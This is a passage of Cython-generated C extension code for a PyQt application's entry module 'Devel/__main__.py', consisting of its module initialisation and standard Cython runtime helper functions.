<<<<<<<<<<<<<< * import Globals * from gui.MainWindow import MainWindow */ } /* "Devel/__main__.py":16 * from decoder_task import decoder_task * from receive import receive * from Preferences import Preferences as pref # <<<<<<<<<<<<<< * * def main(): */ __pyx_t_1 = PyList_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_s_Preferences); __Pyx_GIVEREF(__pyx_n_s_Preferences); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_s_Preferences); __pyx_t_2 = __Pyx_Import(__pyx_n_s_Preferences, __pyx_t_1, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_Preferences); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_pref, __pyx_t_1) < 0) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Devel/__main__.py":18 * from Preferences import Preferences as pref * * def main(): # <<<<<<<<<<<<<< * app = QApplication(sys.argv) * if "Oxygen" in QStyleFactory.keys(): */ __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_5Devel_8__main___1main, 0, __pyx_n_s_main, NULL, __pyx_n_s_Devel___main, __pyx_d, ((PyObject *)__pyx_codeobj__5)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_main, __pyx_t_2) < 0) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Devel/__main__.py":46 * app.exec_() * * if __name__=='__main__': # <<<<<<<<<<<<<< * main() */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_name); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = (__Pyx_PyUnicode_Equals(__pyx_t_2, __pyx_n_u_main_2, Py_EQ)); if (unlikely(__pyx_t_4 < 0)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_4) { /* "Devel/__main__.py":47 * * if __name__=='__main__': * main() # <<<<<<<<<<<<<< */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_main); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Devel/__main__.py":46 * app.exec_() * * if __name__=='__main__': # <<<<<<<<<<<<<< * main() */ } /* "Devel/__main__.py":1 * #!/usr/bin/python3 . # <<<<<<<<<<<<<< * ###################################################################################### * # (c) <NAME>, <EMAIL>, mars 2018 # */ __pyx_t_1 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_1) < 0) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /*--- Wrapped vars code ---*/ goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); if (__pyx_m) { if (__pyx_d) { __Pyx_AddTraceback("init Devel.__main__", 0, __pyx_lineno, __pyx_filename); } Py_DECREF(__pyx_m); __pyx_m = 0; } else if (!PyErr_Occurred()) { PyErr_SetString(PyExc_ImportError, "init Devel.__main__"); } __pyx_L0:; __Pyx_RefNannyFinishContext(); #if CYTHON_PEP489_MULTI_PHASE_INIT return (__pyx_m != NULL) ? 0 : -1; #elif PY_MAJOR_VERSION >= 3 return __pyx_m; #else return; #endif } /* --- Runtime support code --- */ /* Refnanny */ #if CYTHON_REFNANNY static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { PyObject *m = NULL, *p = NULL; void *r = NULL; m = PyImport_ImportModule((char *)modname); if (!m) goto end; p = PyObject_GetAttrString(m, (char *)"RefNannyAPI"); if (!p) goto end; r = PyLong_AsVoidPtr(p); end: Py_XDECREF(p); Py_XDECREF(m); return (__Pyx_RefNannyAPIStruct *)r; } #endif /* PyObjectGetAttrStr */ #if CYTHON_USE_TYPE_SLOTS static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) { PyTypeObject* tp = Py_TYPE(obj); if (likely(tp->tp_getattro)) return tp->tp_getattro(obj, attr_name); #if PY_MAJOR_VERSION < 3 if (likely(tp->tp_getattr)) return tp->tp_getattr(obj, PyString_AS_STRING(attr_name)); #endif return PyObject_GetAttr(obj, attr_name); } #endif /* GetBuiltinName */ static PyObject *__Pyx_GetBuiltinName(PyObject *name) { PyObject* result = __Pyx_PyObject_GetAttrStr(__pyx_b, name); if (unlikely(!result)) { PyErr_Format(PyExc_NameError, #if PY_MAJOR_VERSION >= 3 "name '%U' is not defined", name); #else "name '%.200s' is not defined", PyString_AS_STRING(name)); #endif } return result; } /* GetModuleGlobalName */ static CYTHON_INLINE PyObject *__Pyx_GetModuleGlobalName(PyObject *name) { PyObject *result; #if !CYTHON_AVOID_BORROWED_REFS #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 result = _PyDict_GetItem_KnownHash(__pyx_d, name, ((PyASCIIObject *) name)->hash); if (likely(result)) { Py_INCREF(result); } else if (unlikely(PyErr_Occurred())) { result = NULL; } else { #else result = PyDict_GetItem(__pyx_d, name); if (likely(result)) { Py_INCREF(result); } else { #endif #else result = PyObject_GetItem(__pyx_d, name); if (!result) { PyErr_Clear(); #endif result = __Pyx_GetBuiltinName(name); } return result; } /* PyCFunctionFastCall */ #if CYTHON_FAST_PYCCALL static CYTHON_INLINE PyObject * __Pyx_PyCFunction_FastCall(PyObject *func_obj, PyObject **args, Py_ssize_t nargs) { PyCFunctionObject *func = (PyCFunctionObject*)func_obj; PyCFunction meth = PyCFunction_GET_FUNCTION(func); PyObject *self = PyCFunction_GET_SELF(func); int flags = PyCFunction_GET_FLAGS(func); assert(PyCFunction_Check(func)); assert(METH_FASTCALL == (flags & ~(METH_CLASS | METH_STATIC | METH_COEXIST | METH_KEYWORDS))); assert(nargs >= 0); assert(nargs == 0 || args != NULL); /* _PyCFunction_FastCallDict() must not be called with an exception set, because it may clear it (directly or indirectly) and so the caller loses its exception */ assert(!PyErr_Occurred()); if ((PY_VERSION_HEX < 0x030700A0) || unlikely(flags & METH_KEYWORDS)) { return (*((__Pyx_PyCFunctionFastWithKeywords)meth)) (self, args, nargs, NULL); } else { return (*((__Pyx_PyCFunctionFast)meth)) (self, args, nargs); } } #endif /* PyFunctionFastCall */ #if CYTHON_FAST_PYCALL #include "frameobject.h" static PyObject* __Pyx_PyFunction_FastCallNoKw(PyCodeObject *co, PyObject **args, Py_ssize_t na, PyObject *globals) { PyFrameObject *f; PyThreadState *tstate = __Pyx_PyThreadState_Current; PyObject **fastlocals; Py_ssize_t i; PyObject *result; assert(globals != NULL); /* XXX Perhaps we should create a specialized PyFrame_New() that doesn't take locals, but does take builtins without sanity checking them. */ assert(tstate != NULL); f = PyFrame_New(tstate, co, globals, NULL); if (f == NULL) { return NULL; } fastlocals = f->f_localsplus; for (i = 0; i < na; i++) { Py_INCREF(*args); fastlocals[i] = *args++; } result = PyEval_EvalFrameEx(f,0); ++tstate->recursion_depth; Py_DECREF(f); --tstate->recursion_depth; return result; } #if 1 || PY_VERSION_HEX < 0x030600B1 static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, int nargs, PyObject *kwargs) { PyCodeObject *co = (PyCodeObject *)PyFunction_GET_CODE(func); PyObject *globals = PyFunction_GET_GLOBALS(func); PyObject *argdefs = PyFunction_GET_DEFAULTS(func); PyObject *closure; #if PY_MAJOR_VERSION >= 3 PyObject *kwdefs; #endif PyObject *kwtuple, **k; PyObject **d; Py_ssize_t nd; Py_ssize_t nk; PyObject *result; assert(kwargs == NULL || PyDict_Check(kwargs)); nk = kwargs ? PyDict_Size(kwargs) : 0; if (Py_EnterRecursiveCall((char*)" while calling a Python object")) { return NULL; } if ( #if PY_MAJOR_VERSION >= 3 co->co_kwonlyargcount == 0 && #endif likely(kwargs == NULL || nk == 0) && co->co_flags == (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)) { if (argdefs == NULL && co->co_argcount == nargs) { result = __Pyx_PyFunction_FastCallNoKw(co, args, nargs, globals); goto done; } else if (nargs == 0 && argdefs != NULL && co->co_argcount == Py_SIZE(argdefs)) { /* function called with no arguments, but all parameters have a default value: use default values as arguments .*/ args = &PyTuple_GET_ITEM(argdefs, 0); result =__Pyx_PyFunction_FastCallNoKw(co, args, Py_SIZE(argdefs), globals); goto done; } } if (kwargs != NULL) { Py_ssize_t pos, i; kwtuple = PyTuple_New(2 * nk); if (kwtuple == NULL) { result = NULL; goto done; } k = &PyTuple_GET_ITEM(kwtuple, 0); pos = i = 0; while (PyDict_Next(kwargs, &pos, &k[i], &k[i+1])) { Py_INCREF(k[i]); Py_INCREF(k[i+1]); i += 2; } nk = i / 2; } else { kwtuple = NULL; k = NULL; } closure = PyFunction_GET_CLOSURE(func); #if PY_MAJOR_VERSION >= 3 kwdefs = PyFunction_GET_KW_DEFAULTS(func); #endif if (argdefs != NULL) { d = &PyTuple_GET_ITEM(argdefs, 0); nd = Py_SIZE(argdefs); } else { d = NULL; nd = 0; } #if PY_MAJOR_VERSION >= 3 result = PyEval_EvalCodeEx((PyObject*)co, globals, (PyObject *)NULL, args, nargs, k, (int)nk, d, (int)nd, kwdefs, closure); #else result = PyEval_EvalCodeEx(co, globals, (PyObject *)NULL, args, nargs, k, (int)nk, d, (int)nd, closure); #endif Py_XDECREF(kwtuple); done: Py_LeaveRecursiveCall(); return result; } #endif #endif /* PyObjectCall */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw) { PyObject *result; ternaryfunc call = func->ob_type->tp_call; if (unlikely(!call)) return PyObject_Call(func, arg, kw); if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) return NULL; result = (*call)(func, arg, kw); Py_LeaveRecursiveCall(); if (unlikely(!result) && unlikely(!PyErr_Occurred())) { PyErr_SetString( PyExc_SystemError, "NULL result without error in PyObject_Call"); } return result; } #endif /* PyObjectCallMethO */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg) { PyObject *self, *result; PyCFunction cfunc; cfunc = PyCFunction_GET_FUNCTION(func); self = PyCFunction_GET_SELF(func); if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) return NULL; result = cfunc(self, arg); Py_LeaveRecursiveCall(); if (unlikely(!result) && unlikely(!PyErr_Occurred())) { PyErr_SetString( PyExc_SystemError, "NULL result without error in PyObject_Call"); } return result; } #endif /* PyObjectCallOneArg */ #if CYTHON_COMPILING_IN_CPYTHON static PyObject* __Pyx__PyObject_CallOneArg(PyObject *func, PyObject *arg) { PyObject *result; PyObject *args = PyTuple_New(1); if (unlikely(!args)) return NULL; Py_INCREF(arg); PyTuple_SET_ITEM(args, 0, arg); result = __Pyx_PyObject_Call(func, args, NULL); Py_DECREF(args); return result; } static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { #if CYTHON_FAST_PYCALL if (PyFunction_Check(func)) { return __Pyx_PyFunction_FastCall(func, &arg, 1); } #endif if (likely(PyCFunction_Check(func))) { if (likely(PyCFunction_GET_FLAGS(func) & METH_O)) { return __Pyx_PyObject_CallMethO(func, arg); #if CYTHON_FAST_PYCCALL } else if (PyCFunction_GET_FLAGS(func) & METH_FASTCALL) { return __Pyx_PyCFunction_FastCall(func, &arg, 1); #endif } } return __Pyx__PyObject_CallOneArg(func, arg); } #else static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { PyObject *result; PyObject *args = PyTuple_Pack(1, arg); if (unlikely(!args)) return NULL; result = __Pyx_PyObject_Call(func, args, NULL); Py_DECREF(args); return result; } #endif /* PyObjectCallNoArg */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func) { #if CYTHON_FAST_PYCALL if (PyFunction_Check(func)) { return __Pyx_PyFunction_FastCall(func, NULL, 0); } #endif #ifdef __Pyx_CyFunction_USED if (likely(PyCFunction_Check(func) || __Pyx_TypeCheck(func, __pyx_CyFunctionType))) { #else if (likely(PyCFunction_Check(func))) { #endif if (likely(PyCFunction_GET_FLAGS(func) & METH_NOARGS)) { return __Pyx_PyObject_CallMethO(func, NULL); } } return __Pyx_PyObject_Call(func, __pyx_empty_tuple, NULL); } #endif /* DictGetItem */ #if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key) { PyObject *value; value = PyDict_GetItemWithError(d, key); if (unlikely(!value)) { if (!PyErr_Occurred()) { PyObject* args = PyTuple_Pack(1, key); if (likely(args)) PyErr_SetObject(PyExc_KeyError, args); Py_XDECREF(args); } return NULL; } Py_INCREF(value); return value; } #endif /* PyObjectSetAttrStr */ #if CYTHON_USE_TYPE_SLOTS static CYTHON_INLINE int __Pyx_PyObject_SetAttrStr(PyObject* obj, PyObject* attr_name, PyObject* value) { PyTypeObject* tp = Py_TYPE(obj); if (likely(tp->tp_setattro)) return tp->tp_setattro(obj, attr_name, value); #if PY_MAJOR_VERSION < 3 if (likely(tp->tp_setattr)) return tp->tp_setattr(obj, PyString_AS_STRING(attr_name), value); #endif return PyObject_SetAttr(obj, attr_name, value); } #endif /* GetItemInt */ static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j) { PyObject *r; if (!j) return NULL; r = PyObject_GetItem(o, j); Py_DECREF(j); return r; } static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, CYTHON_NCP_UNUSED int wraparound, CYTHON_NCP_UNUSED int boundscheck) { #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS Py_ssize_t wrapped_i = i; if (wraparound & unlikely(i < 0)) { wrapped_i += PyList_GET_SIZE(o); } if ((!boundscheck) || likely((0 <= wrapped_i) & (wrapped_i < PyList_GET_SIZE(o)))) { PyObject *r = PyList_GET_ITEM(o, wrapped_i); Py_INCREF(r); return r; } return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); #else return PySequence_GetItem(o, i); #endif } static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, CYTHON_NCP_UNUSED int wraparound, CYTHON_NCP_UNUSED int boundscheck) { #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS Py_ssize_t wrapped_i = i; if (wraparound & unlikely(i < 0)) { wrapped_i += PyTuple_GET_SIZE(o); } if ((!boundscheck) || likely((0 <= wrapped_i) & (wrapped_i < PyTuple_GET_SIZE(o)))) { PyObject *r = PyTuple_GET_ITEM(o, wrapped_i); Py_INCREF(r); return r; } return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); #else return PySequence_GetItem(o, i); #endif } static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, int is_list, CYTHON_NCP_UNUSED int wraparound, CYTHON_NCP_UNUSED int boundscheck) { #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS && CYTHON_USE_TYPE_SLOTS if (is_list || PyList_CheckExact(o)) { Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyList_GET_SIZE(o); if ((!boundscheck) || (likely((n >= 0) & (n < PyList_GET_SIZE(o))))) { PyObject *r = PyList_GET_ITEM(o, n); Py_INCREF(r); return r; } } else if (PyTuple_CheckExact(o)) { Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyTuple_GET_SIZE(o); if ((!boundscheck) || likely((n >= 0) & (n < PyTuple_GET_SIZE(o)))) { PyObject *r = PyTuple_GET_ITEM(o, n); Py_INCREF(r); return r; } } else { PySequenceMethods *m = Py_TYPE(o)->tp_as_sequence; if (likely(m && m->sq_item)) { if (wraparound && unlikely(i < 0) && likely(m->sq_length)) { Py_ssize_t l = m->sq_length(o); if (likely(l >= 0)) { i += l; } else { if (!PyErr_ExceptionMatches(PyExc_OverflowError)) return NULL; PyErr_Clear(); } } return m->sq_item(o, i); } } #else if (is_list || PySequence_Check(o)) { return PySequence_GetItem(o, i); } #endif return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); } /* ObjectGetItem */ #if CYTHON_USE_TYPE_SLOTS static PyObject *__Pyx_PyObject_GetIndex(PyObject *obj, PyObject* index) { PyObject *runerr; Py_ssize_t key_value; PySequenceMethods *m = Py_TYPE(obj)->tp_as_sequence; if (unlikely(!(m && m->sq_item))) { PyErr_Format(PyExc_TypeError, "'%.200s' object is not subscriptable", Py_TYPE(obj)->tp_name); return NULL; } key_value = __Pyx_PyIndex_AsSsize_t(index); if (likely(key_value != -1 || !(runerr = PyErr_Occurred()))) { return __Pyx_GetItemInt_Fast(obj, key_value, 0, 1, 1); } if (PyErr_GivenExceptionMatches(runerr, PyExc_OverflowError)) { PyErr_Clear(); PyErr_Format(PyExc_IndexError, "cannot fit '%.200s' into an index-sized integer", Py_TYPE(index)->tp_name); } return NULL; } static PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject* key) { PyMappingMethods *m = Py_TYPE(obj)->tp_as_mapping; if (likely(m && m->mp_subscript)) { return m->mp_subscript(obj, key); } return __Pyx_PyObject_GetIndex(obj, key); } #endif /* Import */ static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level) { PyObject *empty_list = 0; PyObject *module = 0; PyObject *global_dict = 0; PyObject *empty_dict = 0; PyObject *list; #if PY_MAJOR_VERSION < 3 PyObject *py_import; py_import = __Pyx_PyObject_GetAttrStr(__pyx_b, __pyx_n_s_import); if (!py_import) goto bad; #endif if (from_list) list = from_list; else { empty_list = PyList_New(0); if (!empty_list) goto bad; list = empty_list; } global_dict = PyModule_GetDict(__pyx_m); if (!global_dict) goto bad; empty_dict = PyDict_New(); if (!empty_dict) goto bad; { #if PY_MAJOR_VERSION >= 3 if (level == -1) { if (strchr(__Pyx_MODULE_NAME, '.')) { module = PyImport_ImportModuleLevelObject( name, global_dict, empty_dict, list, 1); if (!module) { if (!PyErr_ExceptionMatches(PyExc_ImportError)) goto bad; PyErr_Clear(); } } level = 0; } #endif if (!module) { #if PY_MAJOR_VERSION < 3 PyObject *py_level = PyInt_FromLong(level); if (!py_level) goto bad; module = PyObject_CallFunctionObjArgs(py_import, name, global_dict, empty_dict, list, py_level, NULL); Py_DECREF(py_level); #else module = PyImport_ImportModuleLevelObject( name, global_dict, empty_dict, list, level); #endif } } bad: #if PY_MAJOR_VERSION < 3 Py_XDECREF(py_import); #endif Py_XDECREF(empty_list); Py_XDECREF(empty_dict); return module; } /* ImportFrom */ static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name) { PyObject* value = __Pyx_PyObject_GetAttrStr(module, name); if (unlikely(!value) && PyErr_ExceptionMatches(PyExc_AttributeError)) { PyErr_Format(PyExc_ImportError, #if PY_MAJOR_VERSION < 3 "cannot import name %.230s", PyString_AS_STRING(name)); #else "cannot import name %S", name); #endif } return value; } /* FetchCommonType */ static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type) { PyObject* fake_module; PyTypeObject* cached_type = NULL; fake_module = PyImport_AddModule((char*) "_cython_" CYTHON_ABI); if (!fake_module) return NULL; Py_INCREF(fake_module); cached_type = (PyTypeObject*) PyObject_GetAttrString(fake_module, type->tp_name); if (cached_type) { if (!PyType_Check((PyObject*)cached_type)) { PyErr_Format(PyExc_TypeError, "Shared Cython type %.200s is not a type object", type->tp_name); goto bad; } if (cached_type->tp_basicsize != type->tp_basicsize) { PyErr_Format(PyExc_TypeError, "Shared Cython type %.200s has the wrong size, try recompiling", type->tp_name); goto bad; } } else { if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; PyErr_Clear(); if (PyType_Ready(type) < 0) goto bad; if (PyObject_SetAttrString(fake_module, type->tp_name, (PyObject*) type) < 0) goto bad; Py_INCREF(type); cached_type = type; } done: Py_DECREF(fake_module); return cached_type; bad: Py_XDECREF(cached_type); cached_type = NULL; goto done; } /* CythonFunction */ #include <structmember.h> static PyObject * __Pyx_CyFunction_get_doc(__pyx_CyFunctionObject *op, CYTHON_UNUSED void *closure) { if (unlikely(op->func_doc == NULL)) { if (op->func.m_ml->ml_doc) { #if PY_MAJOR_VERSION >= 3 op->func_doc = PyUnicode_FromString(op->func.m_ml->ml_doc); #else op->func_doc = PyString_FromString(op->func.m_ml->ml_doc); #endif if (unlikely(op->func_doc == NULL)) return NULL; } else { Py_INCREF(Py_None); return Py_None; } } Py_INCREF(op->func_doc); return op->func_doc; } static int __Pyx_CyFunction_set_doc(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp = op->func_doc; if (value == NULL) { value = Py_None; } Py_INCREF(value); op->func_doc = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_name(__pyx_CyFunctionObject *op) { if (unlikely(op->func_name == NULL)) { #if PY_MAJOR_VERSION >= 3 op->func_name = PyUnicode_InternFromString(op->func.m_ml->ml_name); #else op->func_name = PyString_InternFromString(op->func.m_ml->ml_name); #endif if (unlikely(op->func_name == NULL)) return NULL; } Py_INCREF(op->func_name); return op->func_name; } static int __Pyx_CyFunction_set_name(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp; #if PY_MAJOR_VERSION >= 3 if (unlikely(value == NULL || !PyUnicode_Check(value))) { #else if (unlikely(value == NULL || !PyString_Check(value))) { #endif PyErr_SetString(PyExc_TypeError, "__name__ must be set to a string object"); return -1; } tmp = op->func_name; Py_INCREF(value); op->func_name = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_qualname(__pyx_CyFunctionObject *op) { Py_INCREF(op->func_qualname); return op->func_qualname; } static int __Pyx_CyFunction_set_qualname(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp; #if PY_MAJOR_VERSION >= 3 if (unlikely(value == NULL || !PyUnicode_Check(value))) { #else if (unlikely(value == NULL || !PyString_Check(value))) { #endif PyErr_SetString(PyExc_TypeError, "__qualname__ must be set to a string object"); return -1; } tmp = op->func_qualname; Py_INCREF(value); op->func_qualname = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_self(__pyx_CyFunctionObject *m, CYTHON_UNUSED void *closure) { PyObject *self; self = m->func_closure; if (self == NULL) self = Py_None; Py_INCREF(self); return self; } static PyObject * __Pyx_CyFunction_get_dict(__pyx_CyFunctionObject *op) { if (unlikely(op->func_dict == NULL)) { op->func_dict = PyDict_New(); if (unlikely(op->func_dict == NULL)) return NULL; } Py_INCREF(op->func_dict); return op->func_dict; } static int __Pyx_CyFunction_set_dict(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp; if (unlikely(value == NULL)) { PyErr_SetString(PyExc_TypeError, "function's dictionary may not be deleted"); return -1; } if (unlikely(!PyDict_Check(value))) { PyErr_SetString(PyExc_TypeError, "setting function's dictionary to a non-dict"); return -1; } tmp = op->func_dict; Py_INCREF(value); op->func_dict = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_globals(__pyx_CyFunctionObject *op) { Py_INCREF(op->func_globals); return op->func_globals; } static PyObject * __Pyx_CyFunction_get_closure(CYTHON_UNUSED __pyx_CyFunctionObject *op) { Py_INCREF(Py_None); return Py_None; } static PyObject * __Pyx_CyFunction_get_code(__pyx_CyFunctionObject *op) { PyObject* result = (op->func_code) ? op->func_code : Py_None; Py_INCREF(result); return result; } static int __Pyx_CyFunction_init_defaults(__pyx_CyFunctionObject *op) { int result = 0; PyObject *res = op->defaults_getter((PyObject *) op); if (unlikely(!res)) return -1; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS op->defaults_tuple = PyTuple_GET_ITEM(res, 0); Py_INCREF(op->defaults_tuple); op->defaults_kwdict = PyTuple_GET_ITEM(res, 1); Py_INCREF(op->defaults_kwdict); #else op->defaults_tuple = PySequence_ITEM(res, 0); if (unlikely(!op->defaults_tuple)) result = -1; else { op->defaults_kwdict = PySequence_ITEM(res, 1); if (unlikely(!op->defaults_kwdict)) result = -1; } #endif Py_DECREF(res); return result; } static int __Pyx_CyFunction_set_defaults(__pyx_CyFunctionObject *op, PyObject* value) { PyObject* tmp; if (!value) { value = Py_None; } else if (value != Py_None && !PyTuple_Check(value)) { PyErr_SetString(PyExc_TypeError, "__defaults__ must be set to a tuple object"); return -1; } Py_INCREF(value); tmp = op->defaults_tuple; op->defaults_tuple = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_defaults(__pyx_CyFunctionObject *op) { PyObject* result = op->defaults_tuple; if (unlikely(!result)) { if (op->defaults_getter) { if (__Pyx_CyFunction_init_defaults(op) < 0) return NULL; result = op->defaults_tuple; } else { result = Py_None; } } Py_INCREF(result); return result; } static int __Pyx_CyFunction_set_kwdefaults(__pyx_CyFunctionObject *op, PyObject* value) { PyObject* tmp; if (!value) { value = Py_None; } else if (value != Py_None && !PyDict_Check(value)) { PyErr_SetString(PyExc_TypeError, "__kwdefaults__ must be set to a dict object"); return -1; } Py_INCREF(value); tmp = op->defaults_kwdict; op->defaults_kwdict = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_kwdefaults(__pyx_CyFunctionObject *op) { PyObject* result = op->defaults_kwdict; if (unlikely(!result)) { if (op->defaults_getter) { if (__Pyx_CyFunction_init_defaults(op) < 0) return NULL; result = op->defaults_kwdict; } else { result = Py_None; } } Py_INCREF(result); return result; } static int __Pyx_CyFunction_set_annotations(__pyx_CyFunctionObject *op, PyObject* value) { PyObject* tmp; if (!value || value == Py_None) { value = NULL; } else if (!PyDict_Check(value)) { PyErr_SetString(PyExc_TypeError, "__annotations__ must be set to a dict object"); return -1; } Py_XINCREF(value); tmp = op->func_annotations; op->func_annotations = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_annotations(__pyx_CyFunctionObject *op) { PyObject* result = op->func_annotations; if (unlikely(!result)) { result = PyDict_New(); if (unlikely(!result)) return NULL; op->func_annotations = result; } Py_INCREF(result); return result; } static PyGetSetDef __pyx_CyFunction_getsets[] = { {(char *) "func_doc", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, {(char *) "__doc__", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, {(char *) "func_name", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, {(char *) "__name__", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, {(char *) "__qualname__", (getter)__Pyx_CyFunction_get_qualname, (setter)__Pyx_CyFunction_set_qualname, 0, 0}, {(char *) "__self__", (getter)__Pyx_CyFunction_get_self, 0, 0, 0}, {(char *) "func_dict", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, {(char *) "__dict__", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, {(char *) "func_globals", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, {(char *) "__globals__", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, {(char *) "func_closure", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, {(char *) "__closure__", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, {(char *) "func_code", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, {(char *) "__code__", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, {(char *) "func_defaults", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, {(char *) "__defaults__", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, {(char *) "__kwdefaults__", (getter)__Pyx_CyFunction_get_kwdefaults, (setter)__Pyx_CyFunction_set_kwdefaults, 0, 0}, {(char *) "__annotations__", (getter)__Pyx_CyFunction_get_annotations, (setter)__Pyx_CyFunction_set_annotations, 0, 0}, {0, 0, 0, 0, 0} }; static PyMemberDef __pyx_CyFunction_members[] = { {(char *) "__module__", T_OBJECT, offsetof(PyCFunctionObject, m_module), PY_WRITE_RESTRICTED, 0}, {0, 0, 